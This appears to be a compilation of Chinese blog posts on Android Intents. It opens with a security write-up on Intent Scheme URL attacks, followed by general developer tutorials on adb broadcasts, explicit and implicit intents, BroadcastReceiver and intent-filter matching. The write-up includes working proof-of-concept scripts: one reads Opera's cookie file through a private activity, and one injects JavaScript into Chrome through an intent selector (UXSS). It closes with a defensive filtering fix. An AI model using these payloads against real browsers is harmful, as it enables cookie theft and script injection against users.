Android Intent Scheme URLs攻击

0x0 引言

我们知道,在Android上的Intent-based攻击很普遍,这种攻击轻则导致应用程序崩溃,重则可能演变提权漏洞。当然,通过静态特征匹配,Intent-Based的恶意样本还是很容易被识别出来的。

然而最近出现了一种基于Android Browser的攻击手段——Intent Scheme URLs攻击。这种攻击方式利用了浏览器保护措施的不足,通过浏览器作为桥梁间接实现Intend-Based攻击。相比于普通Intend-Based攻击,这种方式极具隐蔽性,而且由于恶意代码隐藏WebPage中,传统的特征匹配完全不起作用。除此之外,这种攻击还能直接访问跟浏览器自身的组件(无论是公开还是私有)和私有文件,比如cookie文件,进而导致用户机密信息的泄露。

 

0x1 Intent scheme URL的用法

看一下Intent Scheme URL的用法。

 

  1. <script>location.href = “intent:mydata#Intent;action=myaction;type=text/plain;end”</script>

 

从用法上看,还是很好理解的,这里的代码等价于如下Java代码:

 

  1. Intent intent = new Intent(“myaction”);
  2. intent.setData(Uri.parse(“mydata”));
  3. intent.setType(“text/plain”);

再看一个例子:

 

  1. intent://foobar/#Intent;action=myaction;type=text/plain;S.xyz=123;i.abc=678;end

 

上面的语句,等价于如下Java代码:

 

  1. Intent intent = new Intent(“myaction”);
  2. intent.setData(Uri.pase(“//foobar/”));
  3. intent.putExtra(“xyz”, “123”);
  4. intent.putExtra(“abc”, 678);

其中S代表String类型的key-value,i代表int类型的key-value。

源码中提供了Intent.parseUri(String uri)静态方法,通过这个方法可以直接解析uri,如果想更一步了解其中的语法,可以查看官方源码。

 

0x2 Intent scheme URI的解析及过滤

如果浏览器支持Intent Scheme URI语法,一般会分三个步骤进行处理:

 

  1. 利用Intent.parseUri解析uri,获取原始的intent对象;
  2. 对intent对象设置过滤规则,不同的浏览器有不同的策略,后面会详细介绍;
  3. 通过Context.startActivityIfNeeded或者Context.startActivity发送intent;

 

其中步骤2起关键作用,过滤规则缺失或者存在缺陷都会导致Intent Schem URL攻击。

下面是各大浏览器对Intent scheme URL的支持情况

 

可见,除了Firefox外其他的浏览器都支持Intent Scheme URL语法。

 

 

0x3 攻击示例

a.Opera mobile之cookie盗取

Opera上的intent过滤策略是完全缺失的,因此我们可以轻易调用Opera上的私有activity。比如下面这个攻击示例:

 

  1. <script>
  2. location.href = “intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;component=com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end”;
  3. </script>

 

通过上面的脚本,我们可以直接调起AdMarvelActivity。AdMarvelActvity会从intent中获取url,并以HTML/JavaScript的方式解析cookies文件。

试想一下,如果我们预先构造一个恶意网站,并让用户通过浏览器访问。这时在恶意见面中,存在如下脚本:

 

  1. <script>
  2. document.cookie = “x=<script>(javascript code)</scr” + “ipt>; path=/blah; expires=Tue, 01-Jan-2030 00:00:00 GMT”;
  3. location.href = “intent:#Intent;S.url=file:///data/data/com.opera.browser/app_opera/cookies;component=com.opera.browser/com.admarvel.android.ads.AdMarvelActivity;end”;
  4. </script>

当AdMarvelActivity解析cookies文件时,就会执行playload。

 

b.Chrome之UXSS

Chrome的UXSS漏洞利用相对复杂。介绍之前,我们需要先了解一下关于Intent Selector的用法,详情见。简而言之,Intent Selector机制提供一种main intent不匹配的情况下可以设置替补的方案。比如A是main intent, B是A的selector intent,当startActiviy时,系统发现A无法匹配则会尝试用B去匹配。

Chrome相比于Opera,在intent过滤的步骤中添加了安全策略,代码如下:

 

  1. Intent intent = Intent.parseUri(uri);
  2. intent.addCategory(“android.intent.category.BROWSABLE”);
  3. intent.setComponent(null);
  4. context.startActivityIfNeeded(intent, -1);

 

从代码中,可以看到Chrome为了防御Intent Based攻击,做了不少限制,比如把category强置为”android.intent.category.BROWSABLE”,把component强置为null,相对之后比Opera强多了。然而,Chrome忽略了Intent Selector的用法,比如下面的用法:

 

  1. intent:#Intent;S.xxx=123; SEL;component=com.android.chrome/.xyz;end

 

留意其中的关键字“SEL”,其实就是设置了一个component为com.android.chrome/.xyz的 selector intent,这种用法导致chrome的防御措施形同虚设。最后看一下Chrome UXSS的PoC:

 

  1. <script>
  2. //通过WebAppActivity0我们先打开一个攻击的站点
  3. location.href = “intent:#Intent;S.webapp_url=http://victim.example.jp;l.webapp_id=0;SEL;compo nent=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end”;
  4. // 停留2s或者更长时间, 然后注入javascript payload
  5. setTimeout(function() {
  6. location.href = “intent:#Intent;S.webapp_url=javascript:(malicious javascript code);l.webapp_id=1;SEL;component=com.android.chrome/com.google.android.apps.chrome.webapps.WebappActivity0;end”;
  7. }, 2000);
  8. </script>

 

 

这里的关键点是WebappActivity0对new intent的处理方式上。

第一次打开站点,并完成加载。第二次则是直接把javascript payload注入到目标网页。这个漏洞存在于在所有低于v.30.0.1599.92的chrome版本,而新版本修改WebappActivity对new intent的处理方式,会创建new tab,这样就避免了javascript inject。

然而在新版中,依然没有屏避intent selector的使用,因此依然存在Chrome的私有组件和文件被读取的安全隐患。

 

0x4 结论

通过上两个漏洞的描述,我们总结得出一种相对比较安全的Intent Filter方法,代码如下:

 

  1. // convert intent scheme URL to intent object
  2. Intent intent = Intent.parseUri(uri);
  3. // forbid launching activities without BROWSABLE category
  4. intent.addCategory(“android.intent.category.BROWSABLE”);
  5. // forbid explicit call
  6. intent.setComponent(null);
  7. // forbid intent with selector intent
  8. intent.setSelector(null);
  9. // start the activity by the intent
  10. context.startActivityIfNeeded(intent, -1);

 

原文连接: http://blog.csdn.net/l173864930/article/details/36951805

 

在命令行中通过adb shell am broadcast发送广播通知

原文链接: http://blog.csdn.net/zuolongsnail/article/details/8167501

通过命令行执行adb shell am broadcast发送广播通知。

 

adb shell am broadcast 后面的参数有:

[-a <ACTION>]
[-d <DATA_URI>]
[-t <MIME_TYPE>]
[-c <CATEGORY> [-c <CATEGORY>] …]
[-e|–es <EXTRA_KEY> <EXTRA_STRING_VALUE> …]
[–ez <EXTRA_KEY> <EXTRA_BOOLEAN_VALUE> …]
[-e|–ei <EXTRA_KEY> <EXTRA_INT_VALUE> …]
[-n <COMPONENT>]
[-f <FLAGS>] [<URI>]

 

例如:

adb shell am broadcast -a com.android.test –es test_string “this is test string” –ei test_int 100 –ez test_boolean true

 

说明:蓝色为key,红色为alue,分别为String类型,int类型,boolean类型

【Android学习笔记】Android中Intent的应用方法探索

Intent 的功能非常强大,最简单的应用是调用另一个Activity以及传递一些附加信息,除此之外还可以调用Android提供的各种组件比如:Service、BroadCast Receiver和Content Provider等。
一、关于Intent的显式调用:
[java] view plaincopyprint?
// 调用Intent对象的setClassName方法,参数为<包名>,<完整类名>
intent.setClassName(“com.smile.intent”, “com.smile.intent.SecondActivity”);

// 调用setClass方法参数为,<当前上下文可以用当前Activity.this获得因为Activity类继承了Context类><要调用的类>
intent.setClass(FirstActivity.this, SecondActivity.class);
注意:使用以上的基本方法至少要在Manifest文件中注册Activity名称,否则系统将无法找到它。
[html] view plaincopyprint?

二、关于Intent的隐式调用:
[java] view plaincopyprint?
// 利用manifest文件中定义好的action名称调用activity,如果有多个activity的action相同则系统弹出菜单让用户选择
// 通常action名字为<包名><类名>,也可以自定义
String actionName = “<包名>.intent.action.secondAction”;
Intent intent = new Intent(actionName);
注意:使用以上的基本方法要在Manifest文件中注册Activity名称以及action属性,否则系统将无法找到它。
[html] view plaincopyprint?






Intent-filter中的data应用,下面是调用android系统浏览器的一个例子,通过调用intent的setData方法得到一个URI,startActivity方法首先找到所有匹配的action,接着看其中哪个activity能处理这种类型的URI,如何判断URI类型则需要匹配schema,schema就是URI的前缀,比如http,为字符串类型。当然它也需要在manifest文件中定义,例如: 则系统就认为这个activity可以处理http为前缀的URI,从而完成匹配。
[java] view plaincopyprint?
// 调用android默认提供的action
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse(“http://www.baidu.com”));
startActivity(intent);

还有一种方法是通过mimeType来匹配Activity,这种匹配也属于data属性例如在manifest中定义则调用代码如下。注意data属性中如果定义了多种比如schem和mimeType都定义了相关类型,则必须三项都匹配才调用,缺一不可。mimeType中前面是父类型,vnd代表类型是专有的而不是公认的标准,android是公司名,cursor代表返回的是cursor,dir代表集合,item代表单个,后面是子类型同上。
[java] view plaincopyprint?
Intent intent = new Intent(actionName);
// 设置所需调用activity的mimeType类型
intent.setType(“vnd.android.cursor.dir/vnd.smile.second”);
startActivity(intent);

intent在调用其他组件的同时也可以将一些必要信息传递过去,调用intent的setExtras方法,参数可以是一个string类型的key,和一个object类型的value,另一种方法是直接传递一个Bundle,Bundle就是把数据打个包运过去,其实功能和上面方法没什么太大区别。两种方式不能同时使用,否则最后面的将覆盖前面的。
[java] view plaincopyprint?
// 利用Bundle传递数据
Intent intent = new Intent(actionName);
intent.setTyp(“vnd.android.cursor.dir/vnd.smile.second”);
Bundle b = new Bundle();
b.putString(“name”, “smilebundle”);
intent.putExtras(b);
startActivity(intent);
// Bundle取得数据
Intent intent = this.getIntent();
Bundle b = intent.getExtras();
System.out.println(b.getString(“name”));

[java] view plaincopyprint?
// 利用普通方法传递数据
Intent intent = new Intent(actionName);
intent.setType(“vnd.android.cursor.dir/vnd.smile.second”);
intent.putExtra(“name”, “smile”);
startActivity(intent);
// 取出数据
Intent intent = this.getIntent();
String str = intent.getStringExtra(“name”);

Intent 中的category属性
activity也分成一些类别,application中第一个启动的activity有一个属性为:表示是默认启动的activity。
还有一些常用的如category.HOME 表示是屏幕首页category.DEFAULT表示默认类别,一般这个activity无其他特殊作用时候,如果用action调用一个activity,则必须有类别属性即category属性,除了这个特殊情况,其他的如果想要为某个activity设置一个category属性,则在其他属性的基础上必须也得有否则系统找不到。
[java] view plaincopyprint?
// 下面给intent增加了一个category属性,系统会去查找符合这个属性的activity
Intent intent = new Intent(actionName);
intent.addCategory(Intent.CATEGORY_EMBED);
startActivity(intent);

配置文件需要注册,上面actionName是一个变量内容应该为下面的活动名称
[html] view plaincopyprint?


匹配规则:
Action:首先匹配action,有一个action请求,则intent filter中的cation的至少有一个所请求的action才会被响应,一个intent filter可以有多个action,只要匹配一个就可以被调用。

Data:如果intent filter中没有data属性,则任何带有data属性的intent都不会被匹配。它只会匹配没有任何data 属性的intent。如果intent filter中没有定义data属性,则请求中只要有data属性就会报错。
Data-mimeType:一个Intent filter可以有多个data type,每次匹配只能匹配一种。有两种方式。1、如果是一个内容或者文件URI,当执行setData后,系统将会自动计算出它的类型。2、是直接调用setType方法指定类型。安卓还允许使用 父类型/* 的方法指定所有子类型比如: image/* 则指定了所有图片类型。
Data-Scheme:一个请求intent中如果包含scheme,则必须是intent filter中定义好的。scheme是data URI的第一部分,比如http://www.baidu.com 中http就为scheme,
Data-Authority:URI的地址部分,如www.baidu.com,但是如果匹配这个必须先匹配schema。
Data-Path 一个URI的最后部分,必须与前两个共同使用

Intent-Category每一个请求intent所包含的category必须在intent filter中能找到,可以有多个category。注意:通过隐式调用startActivity()方法,默认只会寻找所有含有android.intent.category.DEFAULT的activity。所以任何activity如果想通过隐式被调用则在intent filter中必须包含default category。有一个特例如果你的activity默认启动的则不需要default category,但是加上不影响什么。

原文链接:http://blog.csdn.net/xywhere/article/details/7218421

启动另外的一个应用程序的Activity(三种方式)

第一种(我自己写的) :之前在网上看来一些,很多不是我要的可以启动另外一个应用程序的主Activity.
//这些代码是启动另外的一个应用程序的主Activity,当然也可以启动任意一个Activity
ComponentName componetName = new ComponentName(
//这个是另外一个应用程序的包名
“com.poynt.weibo”,
//这个参数是要启动的Activity
“com.poynt.weibo.ui.IndexActivity”);

try {
Intent intent = new Intent();
intent.setComponent(componetName);
startActivity(intent);
} catch (Exception e) {
// Toast.makeText(getApplicationContext(), “可以在这里提示用户没有找到应用程序,或者是做其他的操作!”, 0).show();

}
复制代码

第二种
:这里是启动另外一个程序的Activity之后,并把参数传过去!
在一个Android应用程序A中调用另一个Android程序B,同时传递数据给B

ComponentName componentName = new ComponentName(
“com.xiaohua.player.activity”,
“com.xiaohua.player.activity.PlayerActivity”);
Intent intent = new Intent();
Bundle bundle = new Bundle();
bundle.putString(“resUrl”, resurl);
bundle.putSerializable(“picUrlList”, picurllist);
intent.putExtras(bundle);
intent.setComponent(componentName);
startActivity(intent);
注:
com.xiaohua.player.activity:包路径
PlayerActivity:Activity类
resUrl :String类型
picUrlList:数组,也可以是对象
应用程序安装后,按以上方式可进行调用.

接受activity:
public void getParameterByIntent() {
Intent mIntent = this.getIntent();
String resUrl = mIntent.getStringExtra(“resUrl”);
String[] picUrlList = (String[]) mIntent.getSerializableExtra(“picUrlList”);
if (null != picUrlList) {
int count = picUrlList.length;
for (int i = 0; i < count; i++) { Log.e("tag", "picUrlList[" + i + "]" + picUrlList); } } } 来自:http://hi.baidu.com/huaxinchang/blog/item/5fa81903474097f409fa9305.html 复制代码 第三种:在一个apk中调用另外一个apk中的activity 转自:http://www.eoeandroid.com/forum.php?mod=viewthread&tid=69600 其实,这本来是一件很简单的事情,但是小编发现很多人问这个问题,所以写篇小文章供eoe的朋友们参考。 系统提供了很多可以直接调用的Activity,通过指定的Intent就可以调用,比如打开搜索的: Intent intent = new Intent(Intent.ACTION_WEB_SEARCH); intent.putExtra(SearchManager.QUERY,"searchString") startActivity(intent); 复制代码 Intent.ACTION_WEB_SEARCH是一个字符串,是“搜索”这个Activity的标识,extra是传给这个activity的一些数据。发送出这个intent之后,系统根据action字符串Intent.ACTION_WEB_SEARCH知道了是要调用哪个activity,如果有重名,会弹出一个选择对话框。然后打开此activity,实现想要做的事情。 那么,我们自己怎么来实现呢。 首先,写一个activity,在AndroidManifest.xml里面的intent-filter中,给这个activity命名:



复制代码

然后安装。安装完毕之后,你会发现,系统中找不到这个程序。别急,它确实安装在手机里面了,但是因为他不是main的,所以系统不会把他当做Application的入口程序。

而要想打开这个activity,只有知道它名字的人才可以。跟系统的intent一样使用。它的名字定义为”chroya.foo”,所以,这里用这个字符串就可以调用它了:

Intent intent = new Intent(“chroya.foo”);
startActivity(intent);
复制代码

小编用刚才举的那个系统的intent说明,它的activity里面使用 getIntent().getBundleExtra(SearchManager.QUERY)来接收传递进来的搜索字符串参数。而这个 SearchManager.QUERY是关键字。如果要自己实现这种功能,只需要定义好关键字,然后从BundleExtra中取就行了。

Hacking the exported Service and Activity

Service 和 Activity 若没有要求权限.

如果无须传入数据,则可以直接启动.

如果需要传入数据,则是通过intent来传入的. 传入数据的格式可以通过分析Activity/Service的运行过程中从Intent里面取出来了什么样的数据并且怎么使用的,也可以找到StartActivity/StartService的地方看一下在启动对应的Acitivity/Service的时候传入的什么样的数据格式.

这样的道理虽然很简单很简单,也是理所当然的. 但是要注意的是临事不可混乱,且纸上得来终觉浅,绝知此事要躬行

Android隐性Intent的例子

Android的Intent分为两大类,显性的(Explicit )的和隐性的(Implicit)。
显性的很简单就是我们常用的Activit跳转,他指明了从一个Activity跳转到另一个,代码如下:

Java代码  收藏代码
  1. Intent i = new Intent(this,AnotherActivity.class);
  2. startActivity(i);

最多加一些需要传递的数据,或者回调时的参量这时需要用startActivityForResult()
具体更多可参考以前的文章:http://fengzhizi715.iteye.com/blog/786793

隐性的没有指明从哪跳转到哪,需要自定义Action。
首先是第一个Activity,它定义了mapSearchIntent这个Action

Java代码  收藏代码
  1. import android.app.Activity;
  2. import android.content.Intent;
  3. import android.net.Uri;
  4. import android.os.Bundle;
  5. public class Main extends Activity {
  6.     private final String mapSearchIntent = “com.decarta.mapsearch.intent.action.SEARCH”;
  7.     /** Called when the activity is first created. */
  8.     @Override
  9.     public void onCreate(Bundle savedInstanceState) {
  10.         super.onCreate(savedInstanceState);
  11.         setContentView(R.layout.main);
  12.         Uri mapUri = Uri.parse(“geo:39.906033,116.397700”);
  13.         Intent i = new Intent(mapSearchIntent, mapUri);
  14.         i.setData(mapUri);
  15.         startActivity(i);
  16.     }
  17. }

然后是要跳转的Activity:

Java代码  收藏代码
  1. import android.app.Activity;
  2. import android.content.Intent;
  3. import android.net.Uri;
  4. import android.os.Bundle;
  5. /**
  6.  * @author Tony Shen
  7.  *
  8.  */
  9. public class SecondActivity extends Activity{
  10.     private Uri data;
  11.     private String action;
  12.     /** Called when the activity is first created. */
  13.     @Override
  14.     public void onCreate(Bundle savedInstanceState) {
  15.         super.onCreate(savedInstanceState);
  16.         Intent intent = getIntent();
  17.         if (intent.getAction() != null)
  18.             action = intent.getAction();
  19.         if (intent.getData()!=null)
  20.             data = intent.getData();
  21.         if (action.equals(“com.decarta.mapsearch.intent.action.SEARCH”)) {
  22.             Intent i = new Intent(Intent.ACTION_VIEW, data);
  23.             startActivity(i);
  24.         }
  25.     }
  26. }

其中,data是从Main这个Activity传递过来的uri数据。

我们不要忘记在AndroidManifest.xml中设置

Java代码  收藏代码
  1. <application android:icon=”@drawable/icon” android:label=”@string/app_name”>
  2.     <activity android:name=”.Main”
  3.               android:label=”@string/app_name”>
  4.         <intent-filter>
  5.             <action android:name=”android.intent.action.MAIN” />
  6.             <category android:name=”android.intent.category.LAUNCHER” />
  7.         </intent-filter>
  8.     </activity>
  9.     <activity android:name=”.SecondActivity”>
  10.         <intent-filter>
  11. <action android:name=”com.decarta.mapsearch.intent.action.SEARCH” />
  12. <category android:name=”android.intent.category.DEFAULT” />
  13. <data android:scheme=”geo” />
  14. </intent-filter>
  15.     </activity>
  16. </application>

注意:在SecondActivity这个配置中有一个intent-filter,其中它定义了action的名称。所谓的隐性Intent就是靠这个action的名称来传递。

最后,需要注意的是本例子由于使用了geo,所以需要有Google APIs的模拟器才能运行。

效果图如下:

Android BroadcastReceiver 简介

Android BroadcastReceiver 简介
在 Android 中使用 Activity, Service, Broadcast, BroadcastReceiver
活动(Activity) – 用于表现功能
服务(Service) – 相当于后台运行的 Activity
广播(Broadcast) – 用于发送广播
广播接收器(BroadcastReceiver) – 用于接收广播
Intent – 用于连接以上各个组件,并在其间传递消息

BroadcastReceiver
在Android中,Broadcast是一种广泛运用的在应用程序之间传输信息的机制。而BroadcastReceiver是对发送出来的 Broadcast进行过滤接受并响应的一类组件。下面将详细的阐述如何发送Broadcast和使用BroadcastReceiver过

滤接收的过程:
首先在需要发送信息的地方,把要发送的信息和用于过滤的信息(如Action、Category)装入一个Intent对象,然后通过调用 Context.sendBroadcast()、sendOrderBroadcast()或sendStickyBroadcast()方法,把 Intent对象以广播方式发送出去。
当Intent发送以后,所有已经注册的BroadcastReceiver会检查注册时的IntentFilter是否与发送的Intent相匹配,若 匹配则就会调用BroadcastReceiver的onReceive()方法。所以当我们定义一个BroadcastReceiver的时候,都需要 实现onReceive()方法。

注册BroadcastReceiver有两种方式:
一种方式是,静态的在AndroidManifest.xml中用<receiver>标签生命注册,并在标签内用<intent- filter>标签设置过滤器。

另一种方式是,动态的在代码中先定义并设置好一个 IntentFilter对象,然后在需要注册的地方调 Context.registerReceiver()方法,如果取消时就调用Context.unregisterReceiver()方法。如果用动 态方式注册的BroadcastReceiver的Context对象被销毁时,BroadcastReceiver也就自动取消注册了。

另外,若在使用sendBroadcast()的方法是指定了接收权限,则只有在AndroidManifest.xml中用<uses- permission>标签声明了拥有此权限的BroascastReceiver才会有可能接收到发送来的Broadcast。

同样,若在注册BroadcastReceiver时指定了可接收的Broadcast的权限,则只有在包内的AndroidManifest.xml中 用<uses-permission>标签声明了,拥有此权限的Context对象所发送的Broadcast才能被这个 BroadcastReceiver所接收。

动态注册:
IntentFilter intentFilter = new IntentFilter();
intentFilter.addAction(String);–为 BroadcastReceiver指定action,使之用于接收同action的广播 registerReceiver(BroadcastReceiver,intentFilter);
一般:在onStart中注册,onStop中取消unregisterReceiver

发送广播消息:extends Service
指定广播目标Action:Intent Intent = new Intent(action-String)
–指定了此action的receiver会接收此广播
需传递参数(可选) putExtra();
发送:sendBroadcast(Intent);

Intent 和 Intent Filter

Android 应用程序中有三大核心组件: Activity, Service, Broadcast Receiver 都是通过被称之为意图的消息运行。Intent messaging is a facility for late run-time binding between components in the same or different applications. 意图本身一个 Intent 对象,它保存了对要执行操作的抽象描述—对于broadcasts来说,则表示对已经发生并且正要报告的操作。对这下三种组件,发送intents分别有不同的机制。

  • 传递一个Intent对象到 Context.startActivity(intent) 或者 Activity.startActivity ForResult(int) 去运行一个Activity(可以在通过此方式启动后的Activity中调用 Activity.setResult() 设置结果参数,该参数将会在启动当前activity的activity中被接收—可以通过onActivityResult(int requestCode, int resultCode, Intent data) 接收)
  • 传递一个Intent对象到 Context.startService(intent) 去启动一个service 或者 传递一个新的指令到正在运行的service中。另外,还可以通过 Context.bindService(intent) 去绑定一个Service。(在调用组件和目标Service 建立一个连接)
  • 传递一个Intent对象到 任何一个broadcast methods (如: Context.sendBroadcast() , Context.sendOrderedBroadcast(), Context.sendStickyBroadcast() ) 该intent将被传递给所有已经被注册的broadcast receiver中。

在以上的三种情况下,当Intent被传递出后,Android系统会找到适合的activity,service,或者是多个broadcast receiver去响应这个intent。,这三种情况不会存在重叠的部分,它们相互独立,互不干扰。(调用Context.startActivity()后 intent只会被相应的activity接收到)

 


Intent Object

 

 

一个Intent对象是一个信息包。它包含了要接收此Intent的组件需要的信息(例如需要的动作和动作需要的信息)和 android 系统需要的信息(要处理此Intent的组件的类别和怎样启动它)

总的来说,Intent Object 主要包括以下信息:

Component name

处理Intent 的组件名称。此字段是一个 ComponentName object—它是目标的组件的完整限定名(包名+类名) 例如: “com.android,.test.TestActivity” .

该字段是可选的。如果设置了此字段,那么 Intent Object 将会被传递到这个组件名所对应的类的实例中。 如果没有设置,Android 会用 Intent object 中的其它信息去定位到一个合适的目标组件中。 (称之为 : Intent 解析。。。这个稍后会讲到)

设置Component name 可以通过 setComponent() , setClass() 或者 setClassName()进行设置。 可以通过 getComponent() 进行读取

动作(Action

一个字符串,代表要执行的动作。 — 或者,对于 broadcase intents 来说,表示正在发生,并且被报告的动作。Intent 类中 定义了许多动作常量。 如下:

 

Constent( 常量) Target Component (目标组件) Action (动作 )
ACTION_CALL activity 初始化一个电话呼叫
ACTION_EDIT activity 显示用户要编辑的数据
ACTION_MAIN activity 将该Activity作为task的第一个Activity ,没有数据输入,也没有数据返回
ACTION_SYNC activity 在设备上同步服务器上的数据
ACTION_BATTERY_LOW broadcast receiver 电量不足的警告
ACTION_HEADSET_PLUG broadcast receiver 耳机插入设备,或者从设备中拔出
ACTION_SCREEN_ON Broadcast receiver 屏幕已经点亮
ACTION_TIMEZONE_CHANGED Broadcast receiver 时区设置改变

 

你也可以定义自己的 action strings 来激活组件。自定义的action 应该包含包名作为前缀: 例如”com.example.project.SHOW_COLOR“.

Action 很大程度上决定 Intent余下部分的结构。 —- 特别是:data 和 extras 两个字段。就像一个方法的方法名通常决定了方法的参数和返回值。 基于这个原因,应该给action 命名一个尽可能明确的名字。 可以通过 setAction() 设置action,通过 getAction() 进行获取.

 

 

Data

Data属性有两部分构成: 数据URI 和 数据MIME type 。 action的定义往往决定了data该如何定义。 例如: 如果 一个Intent的 action 为ACTION_EDIT 那么它对应的data 应该包含待编辑的数据的URI . 如果一个action 为:ACTION_CALL ,那么data 应该为 tel: 电话号码的URI . 类似的, 如果action 为 ACTION_VIEW 那么data 应该为: http: URI , 接收到的activity 将会下载并显示相应的数据。

当一个Intent 和 有能力处理此Intent的组件进行匹配时, 除了 data的URI以外,了解data的类型(MIME Type)也很重要。 例如: 一个显示图片的组件 不应该去播放声音文件。

 

许多情况下,data type 可以从URI中推测出。 尤其是: URI = content: URIs这时候数据通常是位于本设备上而且是由某个content provider来控制的。即便如此,我们仍然可以明确的在 Intent object上设置一个 data type. setData() 方法只能设置URI, setType() 设置MIME type, setDataAndType() 可以对二者都进行设置, 获取URI 和 data type 可分别调用 getData() 和 getType() 方法。

Category

一个字符串, 包含了处理该Intent的组件的种类信息, 起着对action的补充说明作用.

一个Intent对象可以有任意多个 category。和action 一样, 在Intent class 中也定义了几个 category 常量。。 如下:

Constant Meaning
CATEGORY_BROWSABLE 目标Activity可以使用浏览器显示数据
CATEGORY_GADGET The activity can be embedded inside of another activity that hosts gadgets.

该activity可以被包含在另外一个装载小工具的activity中.

CATEGORY_HOME The activity displays the home screen, the first screen the user sees when the device is turned on or when the HOME key is pressed.
CATEGORY_LAUNCHER The activity can be the initial activity of a task and is listed in the top-level application launcher.

可以让一个activity出现在launcher

CATEGORY_PREFERENCE The target activity is a preference panel.

该activity是一个选项面板

 

 

 

addCategory() 添加一个 category

removeCategory() 删除一个 category()

getCategorys() 获取所有的category()

Extras

 

 

为键-值对形式的附加信息. 例如ACTION_TIMEZONE_CHANGED的intent有一个”time-zone”附加信息来指明新的时区, 而ACTION_HEADSET_PLUG有一个”state”附加信息来指示耳机是被插入还是被拔出.

intent对象有一系列put…()和set…()方法来设定和获取附加信息. 这些方法和Bundle对象很像. 事实上附加信息可以使用putExtras()和getExtras()作为Bundle来读和写.

Flags

 

有各种各样的标志,许多指示Android系统如何去启动一个活动(例如,活动应该属于那个任务)和启动之后如何对待它(例如,它是否属于最近的活动列表)。所有这些标志都定义在Intent类中。

 

 


Intent Resolution

 

Intent 有两种形式:

l 显示意图指定一个目标组件通过其name( Component name field), 由于组件名称通常不会被其它应用程序的开发者知道。所以,显示意图通常用在应用程序内部消息。—-如:一个Activity 启动一个从属的service或者启动另一个activity

l 隐式意图不指定目标组件名称(component name 是空的)隐式意图通常用于去激活其它应用程序的组件

Android 传递了一个显示意图给一个被指定的目标类的实例 。被传递的 intent object 只是定义了component name — 它决定了将会有那个组件去处理这个intent。

针对隐式意图需要不同的策略。在缺乏一个被指定的target的情况下,android系统必须找到最适合的组件去处理这个intent —- 一个单一的activity 或者 service 去执行一个请求动作或者一组broadcase receiver 去响应广播通知.

它通过将intent 对象中的内容 和 意图过滤器(intent filters)进行比较。android系统根据intent filter打开可以接收intent的组件. 如果一个组件没有intent filter, 那么它只能接受显式intent. 如果有, 则能同时接受二者.。

Only three aspects of an Intent object are consulted when the object is tested against an intent filter:

当一个intent和intent过滤器进行比较时只会考虑以下三方面:

action
data (both URI and data type)
category

Intent filters

要告诉android系统哪个intent它们可以处理,activities,services,和 broadcast receivers 必须设置一个或者多个intent过滤器。每个过滤器描述了组件的一种能力,它过滤掉不想要的intent,留下想要的。显示意图则不用考虑这些。

一个过滤器中包含 一个Intent object 中的三个属性 action,data,catrgory 。一个隐式意图必须要通过这三项测试才能传递到 包含该过滤器的组件中。

测试1:Action test

<intent-filter . . . >
    <action android:name="com.example.project.SHOW_CURRENT" />
    <action android:name="com.example.project.SHOW_RECENT" />
    <action android:name="com.example.project.SHOW_PENDING" />
    . . .
</intent-filter>

如实例所示,当一个intent对象只能命名一个单一的action,一个过滤器则可以列出多个action。这个列表也可以是空的, 一个过滤器必须包含一个 <action> element ,否则它将阻止所有的intents要通过这个测试,在intent被指定的action必须匹配在过滤器中所列的action的其中之一。如果一个intent对象或者过滤器没有指定action。 结果如下 :

l 如果一个filter 没有指定任何action ,那么则没有任何intent会被匹配。所以,所有的intent将不会通过此测试。

l 另一方面,如果一个intent对象没有指定任何action,那么将自动通过此测试—只要这个过滤器中有至少一个action

 

 

测试2:Category test

 

<intent-filter . . . >
<category android:name=”android.intent.category.DEFAULT” />
<category android:name=”android.intent.category.BROWSABLE” />
. . .
</intent-filter>

 

 

要通过category测试, Intent对象中包含的每个category必须匹配filter中的一个。Filter可以列出额外的category,但是不能漏掉 intent 对象包含的任意一个category。

原则上,一个没有任何categorys的 Intent object 将总是通过此测试。大多数情况下是正确的。然而,也有例外,android对待所有传入 startActivity() 中的隐式视图,都认为它们至少包含了一个 category — “android.intent.category.DEFAULT”. . 因此,希望接收这些隐式意图的activities必须在在它们的 intent filters 中包含”android.intent.category.DEFAULT” ..有(对于包含”android.intent.action.MAIN” and “android.intent.category.LAUNCHER”的filter 则是例外。因为它们标记了此activity开启了一个新的task 和 将出现在 auncher screen。它们也可以包含“com.intent.category.DEFAULT”,但没必要)

测试3:Data test

类似于action, categories, data也是 intent filter 中的一个子节点, 可以设置多个 data节点,也可以一个不设置。

如下图:

<intent-filter . . . >
<data android:mimeType=”video/mpeg” android:scheme=”http” . . . />
<data android:mimeType=”audio/mpeg” android:scheme=”http” . . . />
. . .
</intent-filter>

每个< data > 元素可以指定一个 URI 和 一个 data type (MIME media type) . URI 有以下几个属性组成 : schema, host,port,path

Schema://host:port/path

例如:

content://com.example.project:200/folder/subfolder/etc

在上例中 schema 是 content: host: com.example.project

Port: 200 Path: folder/subfolder/etc

主机 host 和 port 一起组成了URI authority,如果没有指定 host,那么port将被忽略。

<data>节点中的属性都是可选的,但它们并非相互独立。要使一个authority 有意义,必须要指定 scheme 。 要是 path 有意义, scheme 和 authority(host:port) 必须指定。

当Intent对象中的URI 和 intent filter 进行比较时,它只会进行部门比较。 例如: 如果一个 filter 只指定了一个scheme , 那么所有包含该scheme的URI都会匹配。 如果一个filter只指定了 scheme 和 authority ,没有path, 那么所有包含此scheme 和 authority 将会匹配。如果一个filter指定了一个scheme,authority, 和一个path, 那么只有包含同样的 scheme,authoritym,path会匹配。 但是,对于path,我们可以使用通配符进行部门匹配。

<data>节点的 type 属性指定了 data的MIME type。 它比在filter中的URI 更常见 intent对象和filter都可以使用 “*” 通配符作为子类型 – 例如: “text/*” or “audio/*“— 表示所有子类型都匹配。

data test 会将 intent对象中的URI 和 data type 与filter指定的都进行比较。 规则如下:

a) 如果一个intent 没有指定URI 和 data type , 那么如果filter中也是同样,则通过测试。

b) 如果一个iintent 有URI 但是没有 data type(或者是data type不能从uri中推断出来 ) 只能通过这样的filter: uri匹配, 并且不指定类型. 这种情况限于类似mailto:和tel:这样的不指定实际数据的uri.

c) 如果一个intent 包含 data type 但是没有 uri ,那么 filter中列出相同的data type 并且没有指定URI 则通过测试。

